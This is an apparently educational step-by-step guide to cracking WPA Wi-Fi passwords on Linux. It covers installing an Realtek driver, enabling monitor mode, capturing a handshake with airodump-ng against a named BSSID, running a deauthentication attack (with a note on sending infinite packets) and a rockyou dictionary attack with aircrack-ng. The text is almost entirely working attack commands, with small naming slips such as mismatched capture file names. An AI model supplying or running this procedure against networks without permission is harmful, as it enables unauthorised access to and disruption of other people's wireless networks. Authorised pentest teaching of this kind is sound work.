Hacking Wireless Network (For Education Purpose Only)

- Author: `Anthoniraj Amalanathan`
- WIFI Device Name: TP-Link TL-WN725N
- Amazon Link: https://www.amazon.in/gp/product/B008IFXQFU
- Driver: Realtek r8188eus
- Linux OS: Bodhi Linux 6.0

Concepts

- IEEE 802.11 Standard
- WIFI Access Point or Router
- Wi-Fi Protected Access (WPA)
- 4 Way Handshake (Using EAPOL Packet)

Terminologies

- Wireless Access Point (WAP)
- Service Set Identifiers (SSIDs)
  - BSSID - Base SSID (MAC Address)
  - ESSID - Extended SSID (Name of the AP)
- EAPOL-Key frame (Extensible Authentication Protocol over LAN)

Pre-requisite

- Linux Kernel < 6.0
- Compatiable WIFI Adapter
  - Auto / Managed
  - Monitor
- VirtualBox USB Support (Link WIFI Adapter through USB)

Install Required Packages

- sudo apt install build-essential
- sudo apt install wireless-tools

- sudo apt install git
- sudo apt install aircrack-ng
- sudo apt install dkms bc
- sudo apt install linux-headers-$(uname -r)

Basic Commands required for WIFI Pentest

- lsusb : List ALL USB Devices
- ip addr : Check WIFI Adapters
- iwconfig : Display WIFI Adapters
- iw list : Check Adapter Status
- uname -r : Display the kernel version
- rm -rf file_or_folder : Delete file or folder

Disable Existing WIFI Driver

- echo 'blacklist r8188eu'| sudo tee -a '/etc/modprobe.d/realtek.conf'
- Reboot the OS

Install r8188eus Driver (Kernel Version Support <=6.0)

- git clone https://github.com/aircrack-ng/rtl8188eus.git
- cd rtl8188eus/
- make && sudo make install
- sudo reboot

Enable Monitor Mode

- sudo airmon-ng check kill
- sudo ip link set wlxd037459b00e5 down

Rename WIFI Adapter to Short Name

- sudo ip link set wlxd037459b00e5 name wlan0

Enable Monitor Mode

- sudo iw dev wlan0 set type monitor
- sudo ip link set wlan0 up

Cracking WIFI Password

- sudo airodump-ng wlan0
- sudo airodump-ng --bssid 0A:A5:B3:E5:7E:E0 --channel 1 --write capturepacks wlan0

Deauthentication Attack

- sudo aireplay-ng --deauth 1 -a 0A:A5:B3:E5:7E:E0 wlan0
- Note: Use --deauth 0 for infinite packets

Dictionary Attack

- Download Rockyou Dictionary
  - wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
- The following command will reveal the password (Depends on the password strength It may take long time to crack the WIFI Password)
  - sudo aircrack-ng testpacks.cap -w rockyou.txt

Frame Injection

- aireplay -9 wlan0

Take the Password Strenght Test

- https://www.passwordmonster.com/